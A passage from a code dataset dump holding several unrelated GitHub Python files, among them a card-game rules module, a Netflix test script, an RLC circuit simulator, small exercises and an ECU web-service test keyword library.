(Player): represents the one performing the action.\r\n\r\n opponent (Player): represents the opposing player during the action.\r\n\r\n move (tuple): tuple of (caravan,index,card), see \r\n check_if_legal_move for more thorough description.\r\n\r\n Returns:\r\n list: A list of card objects that should be removed, \r\n if the action were to be performed and the card object, that joker is \r\n to be placed upon, which is protected from removal.\r\n \"\"\"\r\n caravan, idx, _ = move\r\n if idx == -1:\r\n idx = len(caravan.cards) - 1\r\n for i in range(idx-1, -1, -1):\r\n if not caravan.cards[i].special:\r\n protected = caravan.cards[i]\r\n break\r\n cards_to_remove = _find_cards_to_remove(player, opponent, protected)\r\n return (cards_to_remove, protected)\r\n\r\n\r\ndef double_total_with_king(move):\r\n \"\"\"Find the next number card in the caravan and double its total.\r\n This function is to be refactored into the actions module.\r\n\r\n Args:\r\n move (tuple): tuple of (caravan,index,card), \r\n see check_if_legal_move for more thorough description.\r\n \"\"\"\r\n caravan, idx, _ = move\r\n if idx == -1:\r\n idx = len(caravan.cards) - 1\r\n for i in range(idx-1, -1, -1):\r\n if not caravan.cards[i].special:\r\n caravan.cards[i].total *= 2\r\n break\r\n\r\n\r\ndef is_player_winner(player, opponent):\r\n \"\"\"Check if the player or opponent has won.\r\n\r\n Args:\r\n player (Player): Player in turn when the check is performed.\r\n opponent (Player): The opposing player when the check is performed.\r\n\r\n Returns:\r\n nullable bool: None if neither is a winner, \r\n True if the player is and False if it's the opponent.\r\n \"\"\"\r\n pcv = [c.value if CARAVAN_MIN <= c.value <= CARAVAN_MAX else\r\n -float('inf') for c in player.caravans]\r\n ocv = [c.value if CARAVAN_MIN <= c.value <= CARAVAN_MAX else\r\n -float('inf') for c in opponent.caravans]\r\n if sum(pcv) < 0 > sum(ocv):\r\n return None\r\n winning_caravans = 0\r\n for i in range(3):\r\n if pcv[i] > ocv[i]:\r\n winning_caravans += 1\r\n elif pcv[i] < ocv[i]:\r\n winning_caravans -= 1\r\n if winning_caravans == 0:\r\n return None\r\n if winning_caravans > 0:\r\n return True\r\n return False\r\n","repo_name":"Wincewind/ot-harjoitustyo","sub_path":"caravan/src/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":9804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"28050860672","text":"#!/usr/bin/env python3\n\n# -----------------------------\n# scripts/make_tests.py\n#\n# Script used for finding edge\n# cases and writing them to RunNetflix.in\n# -----------------------------\n\n# ----------\n# imports\n# ----------\nimport json\n\ncustomer_cache_file = \"../caches/cache.json\"\ncustomer_cache = json.load(open(customer_cache_file))\n\nmovie_cache_file = \"../caches/moviecache.json\"\nmovie_cache = json.load(open(movie_cache_file))\n\nanswer_cache_file = \"../caches/pma459-answersCache.json\"\nanswer_cache = json.load(open(answer_cache_file))\n\n\"\"\"\n\tm : movie id\n\tc : customer id\n\n\tEdge cases :\n\t\tExtreme users - users who give very high ratings\n\t\t\t\t\t - users who give very low ratings\n\t\t\t\t\t - users who only rated a few times\n\t\t\t\t\t - users who have rated many times\n\t\t\t\t\t - users who are rating a certain movie period for the first times\n\t\t\t\t\t - users who is rating for the first time\n\t\t\t\t\t - user that has rated the most\n\t\tExtreme movies - movie that is being rated for the first time\n\t\t\t\t\t - movies that have 5.0 ratings\n\t\t\t\t\t - movies that have 1.0 ratings\n\t\t\t\t\t - movies that are at 3.7 (overall rating average for the given data set) ratings\n\n\tValid test cases? :\n\t\tCan we inquire about a user who has previously rated the movie?\n\n\"\"\"\n\n\"\"\"\n\tm_c : dictionary to write to RunNetflix.in\n\t\t formatted as {movie_id{ customer_id, customer_id, ...}, movie_id{customer_id, ...}, ...}\n\n\t\t 1. Gather movie edge cases\n\t\t 2. Gather user edge cases\n\t\t 3. Pair them accordingly in m_c\n\"\"\"\nm_c = {}\nm_ = set()\nc_ = set()\n\n\"\"\" Start movie search \"\"\"\nfor m, _ in movie_cache.iteritems():\n\tavg = movie_cache[m][\"average\"]\n\tcount = movie_cache[m][\"count\"]\n\tif( avg >= 4.7): #found: 14961, 7057, 7230\n\t\t#m_c[m] = {}\n\t\tm_.add(m);\n\telif(avg <= 1.3): #found: 515\n\t\tm_.add(m)\n\t\t#m_c[m] = {}\n\telif(round(avg, 1) == 3.7): #found: ... 342, 11916, 13162, 8907, 15394, 9937, 715, ...\n\t\tm_.add(m)\n\t\t#m_c[m] = {}\n\tif(count < 10): #found: 13755, 11148\n\t\tm_.add(m)\n\t\t#m_c[m] = {}\n\n\"\"\" Start customer search \"\"\"\nfor c, data in customer_cache.iteritems():\n\tavg = customer_cache[c][\"average\"]\n\tcount = customer_cache[c][\"count\"]\n\tif(count == 1): #way too many results\n\t\tc_.add(c)\n\telif(count >= 10000): #found: 305344, 2439493, 387418, 2118461, 1664010\n\t\tc_.add(c)\n\tfor key, value in data.iteritems():\n\t\tif(key[0].isdigit() and value[1] == 1):\n\n\t\t\tc_.add(c)\n\n\"\"\" Start pairing movies to customers n^n^n^n. I'd be fired for writing this. They should just stick this data in a sql db so we can just make joins instead! \"\"\"\nfilename = \"RunNetflix.in\"\nfnwrite = open(filename, 'w')\n\nfor m in m_:\n\tpadding = 7 - len(m)\n\tmovie_file = \"/u/downing/cs/netflix/training_set/mv_\" + \"0\"*padding + m + \".txt\"\n\tf = open(movie_file)\n\tmovie = f.readline() #pass over the movie\n\n\tfnwrite.write(str(m) + \":\\n\") # Write movie name to file\n\t#m_c[m] = set()\n\tfor line in f:\n\t\tline = line.strip()\n\t\td = line.split(\",\")\n\t\tif d[0] in c_ and str(d[0]) and m in answer_cache and str(d[0]) in answer_cache[m]:\n\t\t\tfnwrite.write(str(d[0]) + \"\\n\")\n\t\t\t#m_c[m].add(d[0])\n\tf.close()\n\n\"\"\"\nfor m, c_data in m_c:\n\tf.write(str(m) + \":\\n\")\n\tfor c in c_data:\n\t\tf.write(str(c) + \"\\n\")\n\"\"\"\n\nfnwrite.close()\n","repo_name":"keerthanakumar/cs373-netflix","sub_path":"scripts/make_tests.py","file_name":"make_tests.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"8691603263","text":"from random import shuffle\n\naluno1 = input('\\033[1;31;47mPrimeiro Aluno: ')\naluno2 = input('\\033[1;32;44mSegundo Aluno: ')\naluno3 = input('\\033[1;36;42mTerceiro Aluno: ')\naluno4 = input('\\033[1;35;46mQuarto Aluno: ')\nalunos = [aluno1, aluno2, aluno3, aluno4]\nshuffle(alunos)\nprint('\\033[1;7;40mA ordem de apresentação sera:', end=' = ')\nprint(alunos)\n","repo_name":"wesleyallannotas/estudo","sub_path":"python/exercicios/ex020.py","file_name":"ex020.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"86633954072","text":"def get_size(size):\n \"\"\"Get size in readable format\"\"\"\n\n units = [\"Bytes\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n size = float(size)\n i = 0\n while size >= 1024.0 and i < len(units):\n i += 1\n size /= 1024.0\n return \"%.2f %s\" % (size, units[i])\n","repo_name":"m4mallu/gofilesbot","sub_path":"helper/file_size.py","file_name":"file_size.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"34"} +{"seq_id":"39853676924","text":"import numpy as np\nimport sympy as sp\nimport matplotlib.pyplot as plt\nfrom typing import Sequence\n\nnumber = int | float\nnumeric_sequence = Sequence[int | float]\n\n\nclass DcNoSource:\n def __init__(self, R: number, L: number, C: number) -> None:\n \"\"\"A superclass for the series and parallel RLC circuits with no source.\n\n Args:\n R (int | float): The equivalent resistance of the circuit.\n L (int | float): The equivalent inductance of the circuit.\n C (int | float): The equivalent capacitance of the circuit.\n \"\"\"\n self.R = R\n self.L = L\n self.C = C\n self.omega = 1 / np.sqrt(L * C) # type: ignore\n\n def _get_quantity(self, initial_value: number, derivative_initial_value: number, alpha: number) -> sp.Expr:\n \"\"\"Get the quantity (voltage or current) common to all elements.\n\n Args:\n initial_value (int | float): The initial value of the quantity.\n derivative_initial_value (int | float): The initial value of the derivative of the quantity.\n \"\"\"\n t = sp.Symbol('t')\n c1 = sp.Symbol('c1')\n c2 = sp.Symbol('c2')\n\n unsolved_expr = self._get_unsolved_expression(t, c1, c2, alpha)\n unsolved_expr_prime = sp.diff(unsolved_expr, t) # type: ignore\n\n eq1 = sp.Eq(unsolved_expr.subs(t, 0), initial_value, evaluate=False) # type: ignore\n eq2 = sp.Eq(unsolved_expr_prime.subs(t, 0), derivative_initial_value, evaluate=False) # type: ignore\n solution = sp.solve([eq1, eq2], [c1, c2]) # type: ignore\n\n quantity = unsolved_expr.subs([(c1, solution[c1]), (c2, solution[c2])]) # type: ignore\n return quantity # type: ignore\n\n def _get_unsolved_expression(self, t: sp.Symbol, c1: sp.Symbol, c2: sp.Symbol, alpha: number) -> sp.Expr:\n \"\"\"Return the unsolved expression (with the unknown constants) for the quantity.\n\n Args:\n t (sp.Symbol): A symbol representing the time.\n c1 (sp.Symbol): A symbol representing the first constant.\n c2 (sp.Symbol): A symbol representing the second constant.\n alpha (int | float): The damping factor.\n\n Returns:\n sp.Expr: The unsolved expression for the quantity with the unknown constants.\n \"\"\"\n delta = alpha ** 2 - self.omega ** 2\n\n if delta > 0:\n expression = self._overdamped_response(t, c1, c2, alpha, delta)\n elif delta == 0:\n expression = self._critically_damped_response(t, c1, c2, alpha)\n else:\n expression = self._underdamped_response(t, c1, c2, alpha, delta)\n\n return expression\n\n @staticmethod\n def _overdamped_response(t: sp.Symbol, c1: sp.Symbol, c2: sp.Symbol, alpha: number, delta: number) -> sp.Expr:\n r\"\"\"Get the expression (with the unknown constants) for the case in which $\\alpha^2 > \\omega^2$\n\n Args:\n t (sp.Expr): A symbol representing the time.\n a1 (sp.Expr): A symbol representing the first constant.\n a2 (sp.Expr): A symbol representing the second constant.\n alpha (int or float): The damping factor.\n delta (int or float): The result of $\\alpha^2 - \\omega^2$.\n\n Returns:\n sp.Expr: The expression for $t>0$ with the unknown constants.\n \"\"\"\n s1 = -alpha + sp.sqrt(delta) # type: ignore\n s2 = -alpha - sp.sqrt(delta) # type: ignore\n voltage = c1 * sp.exp(s1 * t) + c2 * sp.exp(s2 * t) # type: ignore\n return sp.simplify(voltage) # type: ignore\n\n @staticmethod\n def _critically_damped_response(t: sp.Symbol, c1: sp.Symbol, c2: sp.Symbol, alpha: number) -> sp.Expr:\n r\"\"\"Get the expression (with the unknown constants) for the case in which $\\alpha^2 = \\omega^2$\n\n Args:\n t (sp.Symbol): A symbol representing the time.\n c1 (sp.Symbol): A symbol representing the first constant.\n c2 (sp.Symbol): A symbol representing the second constant.\n alpha (int or float): The damping factor.\n\n Returns:\n sp.Expr: The expression for $t>0$ with the unknown constants.\n \"\"\"\n s = -alpha\n voltage = c1 * sp.exp(s * t) + c2 * t * sp.exp(s * t) # type: ignore\n return sp.simplify(voltage) # type: ignore\n\n @staticmethod\n def _underdamped_response(t: sp.Expr, c1: sp.Expr, c2: sp.Expr, alpha: number, delta: number) -> sp.Expr:\n r\"\"\"Get the expression for the voltage (with the unknown constants) for the case in which $\\alpha^2 < \\omega^2$\n\n Args:\n t (sp.Symbol): A symbol representing the time.\n c1 (sp.Symbol): A symbol representing the first constant.\n c2 (sp.Symbol): A symbol representing the second constant.\n delta (int or float): The result of $\\alpha^2 - \\omega^2$\n\n Returns:\n sp.Expr: The expression for the voltage for $t>0$ with the unknown constants.\n \"\"\"\n s = -alpha\n voltage = sp.exp(s * t) * (c1 * sp.cos(sp.sqrt(-delta) * t) + c2 * sp.sin(sp.sqrt(-delta) * t)) # type: ignore\n return sp.simplify(voltage) # type: ignore\n\n\nclass SeriesRLC(DcNoSource):\n def __init__(self, R: number, L: number, C: number, i0: number, vl0: number, vc0: number, vr0: number) -> None:\n r\"\"\"\n Args:\n R (number): _The equivalent resistance of the circuit._\n L (number): _The equivalent inductance of the circuit._\n C (number): _The equivalent capacitance of the circuit._\n i0 (number): _The initial current common to all elements._\n vl0 (number): _The initial voltage across the inductor._\n vc0 (number): _The initial voltage across the capacitor._\n vr0 (number): _The initial voltage across the resistor._\n \"\"\"\n super().__init__(R, L, C)\n self.i0 = i0\n self.vl0 = vl0\n self.vc0 = vc0\n self.vr0 = vr0\n self.i_prime0 = 0\n self.alpha = R / (2 * L)\n self.current = self._get_quantity(initial_value=self.i0, derivative_initial_value=self.i_prime0, alpha=self.alpha)\n\n\nclass ParallelRLC(DcNoSource):\n def __init__(self, R: number, L: number, C: number, v0: number, il0: number, ic0: number, ir0: number) -> None:\n r\"\"\"\n Args:\n R (int or float): _The equivalent resistance of the circuit._\n L (int or float): _The equivalent inductance of the circuit._\n C (int or float): _The equivalent capacitance of the circuit._\n v0 (int or float): _The initial voltage common to all elements._\n il0 (int or float): _The initial current through the inductor._\n ic0 (int or float): _The initial current through the capacitor._\n ir0 (int or float): _The initial current through the resistor._\n \"\"\"\n super().__init__(R, L, C)\n self.v0 = v0\n self.il0 = il0\n self.ic0 = ic0\n self.ir0 = ir0\n self.v_prime0 = -(v0 + R * il0) / (R * C)\n self.alpha = 1 / (2 * R * C)\n self.voltage = self._get_quantity(initial_value=self.v0, derivative_initial_value=self.v_prime0, alpha=self.alpha)\n self._get_resistor_current()\n self._get_inductor_current()\n self._get_capacitor_current()\n\n def _get_capacitor_current(self) -> None:\n r\"\"\"_Get the expression for the capacitor current for \\(t>0\\)._\"\"\"\n t = sp.Symbol('t')\n self.capacitor_current = self.C * sp.diff(self.voltage, t) # type: ignore\n\n def _get_inductor_current(self) -> None:\n r\"\"\"_Get the expression for the inductor current for \\(t>0\\)._\"\"\"\n t = sp.Symbol('t')\n self.inductor_current = (1 / self.L) * sp.integrate(self.voltage, (t, 0, t)) + self.il0 # type: ignore\n\n def _get_resistor_current(self) -> None:\n r\"\"\"_Get the expression for the resistor current for \\(t>0\\)._\"\"\"\n self.resistor_current = self.voltage / self.R # type: ignore\n\n def plot(self, quantity: str, time: numeric_sequence) -> None:\n r\"\"\"Plot the voltage or currents of the circuit for a given time interval.\n\n Args:\n quantity (str): _The quantity to be plotted. It can be either 'voltage' or 'current'._\n t (Sequence[int or float]): _The time interval for which the quantity is to be plotted._\n \"\"\"\n ax = plt.subplots()[1] # type: ignore\n ax.spines['left'].set_position('zero') # type: ignore\n ax.spines['bottom'].set_position('zero') # type: ignore\n ax.spines['left'].set_linestyle('--') # type: ignore\n ax.spines['bottom'].set_linestyle('--') # type: ignore\n ax.spines['top'].set_visible(False) # type: ignore\n ax.spines['right'].set_visible(False) # type: ignore\n ax.spines['left'].set_color('black') # type: ignore\n ax.spines['bottom'].set_color('black') # type: ignore\n\n if quantity == 'voltage':\n voltages = [float(self._v(t)) for t in time]\n ax.set_ylabel('V(V)', horizontalalignment='right', rotation='horizontal', labelpad=-10) # type: ignore\n plt.plot(time, voltages, color='green') # type: ignore\n\n elif quantity == 'current':\n capacitor_current = np.array([float(self._i_c(t)) for t in time])\n inductor_current = np.array([float(self._i_l(t)) for t in time])\n resistor_current = np.array([float(self._i_r(t)) for t in time])\n ax.set_ylabel('I(A)', horizontalalignment='right', rotation='horizontal', labelpad=-10) # type: ignore\n plt.plot(time[time < 0], capacitor_current[time < 0], color='red', label=r'$I_{C}(t)$') # type: ignore\n plt.plot(time[time > 0], capacitor_current[time > 0], color='red') # type: ignore\n plt.plot(time[time < 0], inductor_current[time < 0], color='blue', label=r'$I_{L}(t)$') # type: ignore\n plt.plot(time[time > 0], inductor_current[time > 0], color='blue') # type: ignore\n plt.plot(time[time < 0], resistor_current[time < 0], color='green', label=r'$I_{R}(t)$') # type: ignore\n plt.plot(time[time > 0], resistor_current[time > 0], color='green') # type: ignore\n plt.legend(fontsize='large') # type: ignore\n\n ax.set_xlabel('t(s)', horizontalalignment='right', labelpad=-10) # type: ignore\n ax.xaxis.set_label_coords(1.04, 0.08) # type: ignore\n ax.yaxis.set_label_coords(0.16, 1.025) # type: ignore\n plt.show() # type: ignore\n\n def _v(self, t: number) -> number:\n r\"\"\"_Returns v0 if \\(t<0\\) and self.voltage.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the voltage is to be calculated._\n\n Returns:\n int or float: _The voltage at time /(t/)._\n \"\"\"\n if t < 0:\n return self.v0\n else:\n return self.voltage.subs(sp.Symbol('t'), t) # type: ignore\n\n def _i_c(self, t: number) -> number:\n r\"\"\"_Returns \\(I_{C}(0)\\) if \\(t<0\\) and self.capacitor_current.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the current is to be calculated._\n\n Returns:\n int or float: _The current at time /(t/)._\n \"\"\"\n if t < 0:\n return self.ic0\n else:\n return self.capacitor_current.subs(sp.Symbol('t'), t) # type: ignore\n\n def _i_l(self, t: number) -> number:\n r\"\"\"_Returns \\(I_{L}(0)\\) if \\(t<0\\) and self.inductor_current.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the current is to be calculated._\n\n Returns:\n int or float: _The current at time /(t/)._\n \"\"\"\n if t < 0:\n return self.il0\n else:\n return self.inductor_current.subs(sp.Symbol('t'), t) # type: ignore\n\n def _i_r(self, t: number) -> number:\n r\"\"\"_Returns \\(I_{R}(0)\\) if \\(t<0\\) and self.resistor_current.subs(sp.Symbol('t'), t) if \\(t\\geq0\\)._\n\n Args:\n t (int or float): _The time at which the current is to be calculated._\n\n Returns:\n int or float: _The current at time /(t/)._\n \"\"\"\n if t < 0:\n return self.ir0\n else:\n return self.resistor_current.subs(sp.Symbol('t'), t) # type: ignore\n","repo_name":"Andrey-RV/DC-RLC-CircuitSimulator","sub_path":"dc/no_source.py","file_name":"no_source.py","file_ext":"py","file_size_in_byte":13154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"8389952080","text":"\r\nimport webbrowser\r\nimport datetime\r\nfrom itertools import groupby, count\r\n\r\n\r\n# This is to seperate the wrong lines into ranges\r\ndef intervals(data):\r\n out = []\r\n counter = count()\r\n\r\n for key, group in groupby(data, key=lambda x: x - next(counter)):\r\n block = list(group)\r\n out.append([block[0], block[-1]])\r\n return out\r\n\r\n\r\ndef reportfile(tblines, lvlines, numcorrect, numwrong, linewrong, delaywrong, docid, oldvalue):\r\n linewrong = intervals(linewrong)\r\n delaywrong = intervals(delaywrong)\r\n message = \"\"\"\r\n

    %s

    \r\n Number of lines in the Testbench results: %i
    \r\n Number of lines in the LabView results: %i
    \r\n Number of lines that matched: %i
    \r\n Number of lines that mismatched: %i
    \r\n Range of lines that has different Input/Output from the simulation results: %s
    \r\n Range of lines that has different Delay Between States from the simulation results: %s

    \r\n

    \r\n \"\"\"\r\n indfiles = message % (docid, docid, tblines, lvlines, numcorrect, numwrong, linewrong, delaywrong)\r\n return (oldvalue + indfiles)\r\n\r\n\r\ndef summaryfile(filesidentical, filedifferent, wrongfiles, wrongdoc):\r\n global listoffiles\r\n now = datetime.datetime.today().strftime(\"%Y/%m/%d - %H:%M:%S\")\r\n with open(\"Summary.html\", \"w\") as myFile:\r\n htmlresults = \"\"\"\r\n

    Verification & Validation File -- Generated at: %s


    Project 8 - LGCS Test Results
    \r\n Report Summary:


    \r\n \r\n \r\n \r\n \r\n \r\n
    \r\n Number of Identical Files: %i

    \r\n Number of Different Files: %i

    \r\n Files that are different from the simulation: \"\"\"\r\n resultstext1 = htmlresults % (now, filesidentical, filedifferent, filesidentical, filedifferent)\r\n myFile.write(resultstext1)\r\n for i in range(filedifferent):\r\n listoffiles = \"\"\"%s, \"\"\"\r\n resultstext2 = listoffiles % (wrongfiles[i], wrongfiles[i])\r\n myFile.write(resultstext2)\r\n descriptions = \"\"\"

    Here is the description of all the files that was NOT validated:
    \r\n %s

    \"\"\"\r\n resultstext3 = descriptions % (wrongdoc)\r\n myFile.write(resultstext3)\r\n webbrowser.open_new_tab(\"Summary.html\")\r\n","repo_name":"hugorod87/Portfolio---Python","sub_path":"reportgen.py","file_name":"reportgen.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"2394359034","text":"def first(arr, low, high, key, size):\n if high >= low:\n mid = low + (high - low) // 2\n if ((mid == 0) or key > arr[mid - 1]) and arr[mid] == key:\n return mid\n elif key > arr[mid]:\n return first(arr, mid + 1, high, key, size)\n else:\n return first(arr, low, mid - 1, key, size)\n return low\n\n\ndef last(arr, low, high, key, size):\n if high >= low:\n mid = low + (high - low) // 2\n if ((mid == size - 1) or key < arr[mid - 1]) and arr[mid] == key:\n return mid\n elif key < arr[mid]:\n return last(arr, low, mid - 1, key, size)\n else:\n return last(arr, mid + 1, high, key, size)\n return low\n\n\na = [1, 2, 3, 5, 5, 7, 7, 8, 8, 9, 9]\nsize = len(a)\nkey = 23\nprint(size)\nprint(first(a, 0, size - 1, key, size))\nprint(last(a, 0, size - 1, key, size))\n","repo_name":"shvamabps/dsa","sub_path":"search/leftmost_binarySearch.py","file_name":"leftmost_binarySearch.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"15610092184","text":"from training.data import data\nfrom mis_loader import vectorized_result\nfrom network import Network\nimport random\nimport time\nimport numpy as np\n\nrandom.shuffle(data)\n\n\ntrainig_data = data[:500]\ntest_data = data[:-500]\n\n\ntrainig_results = [vectorized_result(y[1], 2) for y in trainig_data]\ntrainig_inputs = [y[0] for y in trainig_data]\n\ntraining_data = list(zip(trainig_inputs, trainig_results))\n\nnet = Network([9, 100, 20, 2])\nnet.SGD(training_data, 50, 20, 2, test_data=test_data)\n\ntrans = [\"not invertible\", \"invertible\"]\nrandom.shuffle(test_data)\nfor entry in test_data:\n print(f\" ({entry[0][:3]}) \\n ({entry[0][3:6]})\\n ({entry[0][6:9]})\")\n int = np.argmax(net.feedforward(entry[0]))\n guess = trans[int]\n\n print(f\"Network guess: {guess}, {int == entry[1]}\")\n\n time.sleep(10)\n","repo_name":"Drizzr/NumberGuesser","sub_path":"inv.py","file_name":"inv.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30457797438","text":"\"\"\"Given a string as input, use recursion to output each letter of the strings in reverse order, on a new line.\r\n\r\nSample Input\r\nHELLO\r\n\r\nSample Output\r\nO\r\nL\r\nL\r\nE\r\nH\"\"\"\r\ntxt = input()\r\ndef spell(txt):\r\n n=len(txt)\r\n if n==0: #verificam daca s-a introdus un sire de caractere\r\n return 0\r\n else:\r\n print(txt[n-1]) #se afiseaza ultimul caracter\r\n n=n-1\r\n return spell(txt[0:n])\r\n\r\nspell(txt)\r\n","repo_name":"OrionXe/Work","sub_path":"Spelling Backwards.py","file_name":"Spelling Backwards.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"15708113219","text":"import json\nimport os\nimport sqlite3\nimport paramiko\nfrom robot.api import logger\nfrom _WebServiceCore import _WebServiceCore\nfrom _sitemanagement_keywords import _SiteManagement_Keywords as siteinfo\nfrom _usermanagement_keywords import _UserManagement_Keywords as usersinfo\n\n\nclass _Misc_Keywords(_WebServiceCore):\n lock_id = None\n\n def get_about(self):\n \"\"\" Request ECU information\n \n Queries the ECU for the following information \n \n .. code:: python\n \n {\n 'ssid': 'ENC-02F3AF64',\n 'copyright': 'Copyright 2016 OSRAM SYLVANIA Inc and its licensors. All rights reserved.', \n 'free-disk-space-string': '66 MB',\n 'version': '1.0',\n 'architecture': 'arm-little_endian-ilp32-eabi-hardfloat',\n 'build-date': 'Monday February 27 2017 12:46:41',\n 'os': 'linux 3.0.15-encelium-svn63089',\n 'free-disk-space': 70213632\n }\n \n For more information, visit `/about`_.\n \n .. _/about: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/about\n \"\"\"\n self._get_about()\n\n def get_automated_backup_configuration(self, session_index=''):\n \"\"\" Request Automated ECU Backup Configuration\n \n Gets the current parameters for ECU distributed backup\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Get Automated Backup Configuration\n \n For more information, visit `/automated-backup-config`_.\n \n .. _/automated-backup-config: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-GET.2\n \"\"\"\n self._assert_json_response_stop_on_error(self._get('automated-backup-config', session_index=session_index))\n\n def set_automated_backup_configuration(self, json_payload, session_index=''):\n \"\"\" Sets Automated Backup Configuration Parameters\n \n Sets new parameters for ECU distributed backup.\n \n Variable\n *json_payload*\n - string that contains json configuration information\n - passed as a robot framework variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n \n .. code:: robotframework\n \n *** Variable ***\n ${payload} SEPARATOR=\\\\n\n ... {\n ... \"automated-backups\": [\n ... {\n ... \"backup-type\": \"site-backup\",\n ... \"store-log-files\": \"all-backups\",\n ... \"time-of-day\": 9,\n ... \"day-of-week\": \"Monday\",\n ... \"num-of-months\": 2,\n ... \"week-of-month\": 2,\n ... \"num-of-weeks\": 2,\n ... \"num-of-days\": 1,\n ... \"ecu-address\": \"10.215.20.12\"\n ... },\n ... {\n ... \"backup-type\": \"ecu-backup\",\n ... \"store-log-files\": \"none\",\n ... \"time-of-day\": 13,\n ... \"day-of-week\": \"Saturday\",\n ... \"num-of-months\": 2,\n ... \"week-of-month\": 3,\n ... \"num-of-weeks\": 2,\n ... \"num-of-days\": 3,\n ... \"ecu-address\": \"172.24.172.200\"\n ... }\n ... ]\n ... }\n\n *** Test Cases ***\n Sample\n Set backup configuration json_payload=${payload}\n \n For more information, visit `/automated-backup-config`\n\n .. _/automated-backup-config: http://wiki:8090/pages/viewpage.action?pageId=4849856#DataWebServiceAPI-/api/backup-config\n \"\"\"\n try:\n backup_config = json.loads(json_payload)\n except ValueError:\n raise ValueError('Invalid json payload!')\n\n assert 'automated-backups' in backup_config.keys(), AssertionError('Unable to find automated-backups.')\n automated_backups_list = backup_config['automated-backups']\n for list_item in automated_backups_list:\n logger.info('list_item is {0}'.format(list_item))\n for key in ('backup-type',\n 'store-log-files',\n 'time-of-day',\n 'day-of-week',\n 'num-of-months',\n 'week-of-month',\n 'num-of-weeks',\n 'num-of-days',\n 'ecu-address'):\n assert key in list_item.keys(), AssertionError('Unable to find {0}'.format(key))\n\n self._assert_json_response_stop_on_error(self._post('automated-backup-config', json_payload, session_index=session_index))\n\n def get_automated_backup(self, session_index=''):\n \"\"\" Get Automated Backup\n\n Gets a list automated backup files\n\n Variable\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Test Cases ***\n Sample\n Get Automated Backup\n\n For more information, visit `/automated-backup`_.\n\n .. _/automated-backup: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-GET.3\n \"\"\"\n self._assert_json_response_stop_on_error(self._get('automated-backup', session_index=session_index))\n\n def automated_backup_download(self, json_payload, location, session_index=''):\n \"\"\" Download Automated Backed-up\n\n Returns selected automated backup files.\n\n Variable\n *json_payload*\n - specify ECU, time and backup file to download\n *location*\n - target output file for the ECU backups\n *session_index*\n - optional input, will use the most recently returned session id if not specified.\n\n .. code:: robotframework\n\n *** Variable ***\n ${payload} SEPARATOR=\\\\n\n ... {\n ... \"ecu-address\": \"172.24.172.200\",\n ... \"backup-date\": \"2017-08-01\",\n ... \"backup-name\": \"test.zip\"\n ... }\n\n *** Test Cases ***\n Sample\n automated backup download json_payload=${payload}\n\n For more information, visit `/automated-backup-download`_.\n\n .. _/automated-backup-download: http://wiki:8090/display/ERD/Data+Web+Service+API#DataWebServiceAPI-/api/automated-backup-download\n \"\"\"\n try:\n download_specification = json.loads(json_payload)\n except ValueError:\n logger.error('Invalid json payload!')\n return\n\n for item in ('ecu-address', 'backup-date', 'backup-name'):\n assert item in download_specification.keys(), AssertionError('Unable to find {0}'.format(item))\n\n _location = os.path.dirname(location)\n if not os.path.exists(_location):\n os.makedirs(_location)\n\n response = self._get('automated-backup-download', json_payload, session_index=session_index)\n logger.info('json_payload is {0}'.format(json_payload))\n logger.info('response is {0}'.format(response))\n logger.info('response[0].content is {0}'.format(response[0].content))\n\n with open(location, 'wb') as automated_backup:\n automated_backup.write(response[0].content)\n\n assert os.path.getsize(location) > 1000, AssertionError('Invalid ecu backup!')\n\n def get_database_information(self, expected_site_name='', session_index=''):\n \"\"\" Gets ECU Database Information\n \n Queries the database for the following information\n \n .. code:: python\n \n [\n {\n \"database-id\": \"D1F7B3D7-EAA6-4C9D-961F-258F0AF5EB45\",\n \"database-name\": \"SOUTH_HEALTH_CAMPUS\",\n \"file\": \"SOUTH_HEALTH_CAMPUS.sqlite\",\n \"is-default\": true,\n \"site-alias\": \"0\",\n \"site-id\": \"41944E56-A6F2-4528-A88C-BCE3434A4939\",\n \"update-id\": \"018194AF-1405-42DA-BC4F-5EBA06B703A7\"\n },\n {\n \"database-id\": \"796BD86E-213E-4DF4-AC48-AC8D9265D9E0\",\n \"database-name\": \"68_LEEK\",\n \"file\": \"68_LEEK.sqlite\",\n \"is-default\": false,\n \"site-alias\": \"1\",\n \"site-id\": \"497432EE-87EE-40EA-9214-D0EA5915D284\",\n \"update-id\": \"39497047-E99E-4B0A-A024-9B23BA4DE6CF\"\n },\n {\n \"database-id\": \"64EF90C5-94C1-45E9-BF6F-D7301B6DF631\",\n 